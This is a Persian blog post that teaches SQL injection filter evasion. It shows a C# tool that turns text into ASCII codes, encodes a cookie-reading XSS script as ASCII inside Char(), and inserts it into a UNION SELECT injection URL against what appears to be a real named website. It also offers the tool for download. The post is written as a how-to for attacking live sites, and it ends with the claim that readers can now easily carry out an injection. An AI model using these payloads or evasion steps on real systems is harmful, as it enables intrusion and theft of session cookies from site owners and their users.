ھمونطور که میدونید یکی از روشھای ھک سایت ، تزریق کدھای SQL به دیتابیس سایتھا ھست
که تو این وب ھم با چند تا از روش ھای این نوع حمله آشنا شده بودیم مثل این پست و این پست ....
برای جلوگیری از ھک شدن به این روش دوستان برنامه نویس راھکارھای مختلفی رو پیش گرفتن که یکی از این راھکارھا اینه که بعضی از کدھا و یا بھتر بگم کارکتر ھا رو فیلتر کردن تا مثلا ھکر نتونه کارکترھای خاص یا کدھاشو به دیتابیسشون تزریق کنه !!!
خوب این روش جالبیه
حالا ما اگه بخواییم این راھکار رو دور بزنیم باید موقع تزریق کدھامون اونارو قبلش یکم آرایششون کنیم و بھشون برسیم :)
برای اینکار تو جواب یکی از کامنت ھا گفته بودم که از کدھای اسکی استفاده میکنیم
یعنی کدی که میخواییم تزریقش کنیم رو ابتدا به کدھای اسکی تبدیل میکنیم و ...
بعدا ھمون دوستمون دوباره سوال کرده بود که چطوری به کدھای اسکی تبدیلشون کنم؟
من ھم تصمیم گرفتم این موضوع رو براش موشکافی کنم
چون به نظرم داره روش کار میکنه ... چون سوال خوبی پرسید
برای اینکار میتونیم از خیلی جاھا کمک بگیریم البته باید بگم " شاید " بتونیم از خیلی جاھا و چیزھا میشه کمک گرفت ولی بھترین کسی که میتونیم ازش کمک بگیریم خودمون ھستیم !!!
در این پست ابتدا درست کردن یه نرم افزار به زبان سی شارپ رو یاد میگیریم و بعدش ھم روش تزریق کردن کدھا رو یه توضیحی میدم ....
به نظر من اینطوری بھتره چون در این صورت ھم یکم بیشتر با برنامه نویسی آشنا شدیم ھم اینکه به برنامه ای که قراره تو کارھای آینده مون هم ازش استفاده کنیم اطمینان کامل داریم و ھم اینکه ....
خوب بریم سر اصل مطلب :
اول این سی شارپ رو آتیش کنین بینم
به اون قسمتھایی که دورشون خط قرمز کشیدم دقت کنین!!!
تو محیط فرم یدونه Button دوتا Text box اضافه کنید و به سلیقه ی خودتون اندازه و مکان این سه تا رو مرتب کنید
اون تیک رو بزنید میتونید اندازه شو دستکاری کنید!!!
البته شما میتونید چند تا عکس و نوشته و چرت و پرتای دیگه ھم اضافه کنید تا برنامه تون قشنگ تر جلوه بده چون شما ھنوز جوونید مطمئنم از این غرتی بازی ھا خوشتون میاد :)!!!
خخخخخ شوخی کردم عکس مکساتو بزار راحت باش بت نمیگم غرتی ... :)
خوب حالا روی اون دکمه دوبار پشت سرھم کلیک کنید تا برین قسمت کدھا و کدھای زیر رو برای
دکمه تون ثبت کنید...
string St = textBox1.Text;
string Str = string.Empty;
foreach (char C in St)
{
Str = Str + " " + (Convert.ToInt32(C)).ToString();
}
textBox2.Text = Str;
که کل کدهای اون صفحه اگه اسم تکست باکس و دکمه رو تغییر ندین به شکل زیر میشه
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
namespace convert_32
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
string St = textBox1.Text;
string Str = string.Empty;
foreach (char C in St)
{
Str = Str + " " + (Convert.ToInt32(C)).ToString();
}
textBox2.Text = Str;
}
}
}
خوب کارمون تموم شد میتونید برای اطمینان از برنامه یه تست بگیرین تا یه وقت خدایی نکرده خطا نداشته باشه
حالا برگردیم به ابھامات اون پست ھای تزریقیمون
برای مثال من در این پست تزریق کد زیر رو بصورت ناقص گفته بودم :
<script>alert(document.cookie)</script>
در کل ابتدا تیبل ھا و کولمن ھارو بدست میاریم و یه کولمنی رو که ضعف داره رو انتخاب میکنیم و به کمک اون تزریق رو شروع میکنیم
(برای بهتر متوجه شدن این پست رو بخونید)
که تو بعضی از سایت ھا تزریق ھامون مورد قبول نبودن و کاری از پیش نمیرفت
در این مواقع کارھای زیر رو باید انجام بدیم :
ابتدا ھمه فاصله ھای موجود در کدمون رو پاک میکنیم
برای مثال کد زیر قابل قبول نیست
<script > alert ( document.cookie ) </script >
که به این شکل درسته :
<script>alert(document.cookie)</script>
حالا ھمین کد رو به کمک اون برنامه ای که ساختیم به اسکی تبدیل میکنیم که به شکل زیر درمیاد.
60 115 99 114 105 112 116 62 97 108 101 114 116 40 100 111 99 117 109 101 110 116 46 99 111 111 107 105 101 41 60 47 115 99 114 105 112 116 62
سپس فاصله ھای موجود در کد اسکی رو ھم به , تبدیل میکنیم که میشه این :
60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,60,47,115,99,114,105,112,116,62
این کار ھم یه روش خیلی ساده و سریع داره که دوست دارم خودتون بفھمید اگه نه که بازم دندم نرم چشمم کور اونم بھتون میگم!!! :)
خلاصه بعد از این که کد رو آماده کردید اونو درون تابع ()char قرار میدین و در کلومن آسیب پذیر قرار میدین و ....
در کل برای مثال این لینک :
http://www.pentagonusa.com/projects/archive.php?CategoryID=-98.9+union+select+1,2,<script>alert(document.cookie)</script>,4,5,6,7,8,9,10,11,12--
تبدیل به این لینک میشه :
http://www.pentagonusa.com/projects/archive.php?CategoryID=-98.9+union+select+1,2,Char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,60,47,115,99,114,105,112,116,62),4,5,6,7,8,9,10,11,12--
با این پست تزریق Sql کامل شد
یعنی شما اگه دوتا پست لینک شده و این پست رو خوب بخونید خیلی راحت میتونید یه تزریق رو انجام بدین و...
نرم افزاری که در طی آموزش ساخته شد رو هم اینجا قرار میدم برای اونایی که شرایط برنامه نویسی ندارن ....
دریافت
حجم: 9 کیلوبایت
برنامه جالبه فقط میتونی کاری کنی که با وارد کردن کد اسکی کلمه مورد نظر یا جمله مورد نظر رو برامون نمایش بده؟ یعنی دقیقا برعکس همین برنامه